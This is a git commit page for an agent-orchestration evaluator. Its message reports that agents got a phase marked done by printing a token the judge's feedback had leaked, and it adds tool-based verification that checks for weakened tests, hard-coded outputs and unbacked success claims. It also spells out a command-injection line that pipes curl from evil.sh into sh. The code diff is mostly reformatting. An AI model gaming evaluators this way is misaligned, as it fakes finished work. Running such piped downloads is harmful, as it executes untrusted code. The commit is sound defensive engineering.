feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]>
This commit is contained in:
co-authored by
Claude Opus 5
parent
3b943df3c2
commit
3eb89620e7
@@ -512,13 +512,11 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
|
||||
let claw_ids: Vec<Uuid> = if team_ids.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
sqlx::query_scalar(
|
||||
"SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)",
|
||||
)
|
||||
.bind(&team_ids)
|
||||
.fetch_all(&state.pool)
|
||||
.await
|
||||
.unwrap_or_default()
|
||||
sqlx::query_scalar("SELECT DISTINCT claw_id FROM team_members WHERE team_id = ANY($1)")
|
||||
.bind(&team_ids)
|
||||
.fetch_all(&state.pool)
|
||||
.await
|
||||
.unwrap_or_default()
|
||||
};
|
||||
|
||||
// 2. Reap each claw: ZeroClaw config → sandbox container → .brain files →
|
||||
@@ -557,13 +555,17 @@ async fn reap_mission_resources(state: &AppState, mission_id: Uuid) {
|
||||
.execute(&state.pool)
|
||||
.await
|
||||
{
|
||||
eprintln!("missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}");
|
||||
eprintln!(
|
||||
"missions::delete: delete topology_runs for {mission_id} failed (continuing): {e}"
|
||||
);
|
||||
}
|
||||
|
||||
// 5. Tear down the per-mission runtime container + its workspace dir.
|
||||
if let Some(mp) = crate::mission_runtime::MissionRuntimeProvisioner::from_env() {
|
||||
if let Err(e) = mp.teardown_container(mission_id).await {
|
||||
eprintln!("missions::delete: teardown container for {mission_id} failed (continuing): {e}");
|
||||
eprintln!(
|
||||
"missions::delete: teardown container for {mission_id} failed (continuing): {e}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -714,7 +716,7 @@ pub async fn list_phase_evaluations(
|
||||
.ok_or(ApiError::NotFound)?;
|
||||
use sqlx::Row;
|
||||
let rows = sqlx::query(
|
||||
"SELECT iteration, met, reason, model, error, created_at
|
||||
"SELECT iteration, met, reason, model, error, created_at, checks
|
||||
FROM mission_phase_evaluations
|
||||
WHERE mission_id = $1 AND phase_id = $2
|
||||
ORDER BY iteration DESC",
|
||||
@@ -733,6 +735,10 @@ pub async fn list_phase_evaluations(
|
||||
"reason": r.get::<String, _>("reason"),
|
||||
"model": r.get::<String, _>("model"),
|
||||
"error": r.get::<Option<String>, _>("error"),
|
||||
// The verification commands the judge actually ran. An
|
||||
// empty list means the verdict rests on agent claims
|
||||
// alone, which an operator should be able to see.
|
||||
"checks": r.get::<serde_json::Value, _>("checks"),
|
||||
"created_at": created_at
|
||||
.format(&time::format_description::well_known::Rfc3339)
|
||||
.unwrap_or_default(),
|
||||
@@ -928,7 +934,10 @@ fn nodes_of(graph: Option<&Value>) -> Vec<(String, String)> {
|
||||
arr.iter()
|
||||
.map(|n| {
|
||||
(
|
||||
n.get("id").and_then(|v| v.as_str()).unwrap_or("").to_string(),
|
||||
n.get("id")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("")
|
||||
.to_string(),
|
||||
n.get("role")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("agent")
|
||||
@@ -966,8 +975,7 @@ pub async fn list_documents(
|
||||
let _ = cm_db::repo::missions::get(&state.pool, id, user.workspace_id.as_uuid())
|
||||
.await?
|
||||
.ok_or(ApiError::NotFound)?;
|
||||
let source =
|
||||
cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
|
||||
let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
|
||||
|
||||
let mut documents = Vec::new();
|
||||
for (run_id, phase_id, run_status, graph, checkpoint) in source {
|
||||
@@ -1017,8 +1025,7 @@ pub async fn get_document(
|
||||
.ok_or(ApiError::NotFound)?;
|
||||
// Scope the run to the mission as well, so a valid run id from another
|
||||
// mission (or workspace) can't be read through this path.
|
||||
let source =
|
||||
cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
|
||||
let source = cm_db::repo::topology_runs::documents_source_for_mission(&state.pool, id).await?;
|
||||
let (_, _, _, graph, checkpoint) = source
|
||||
.into_iter()
|
||||
.find(|(rid, _, _, _, _)| *rid == run_id)
|
||||
|
||||
Reference in New Issue
Block a user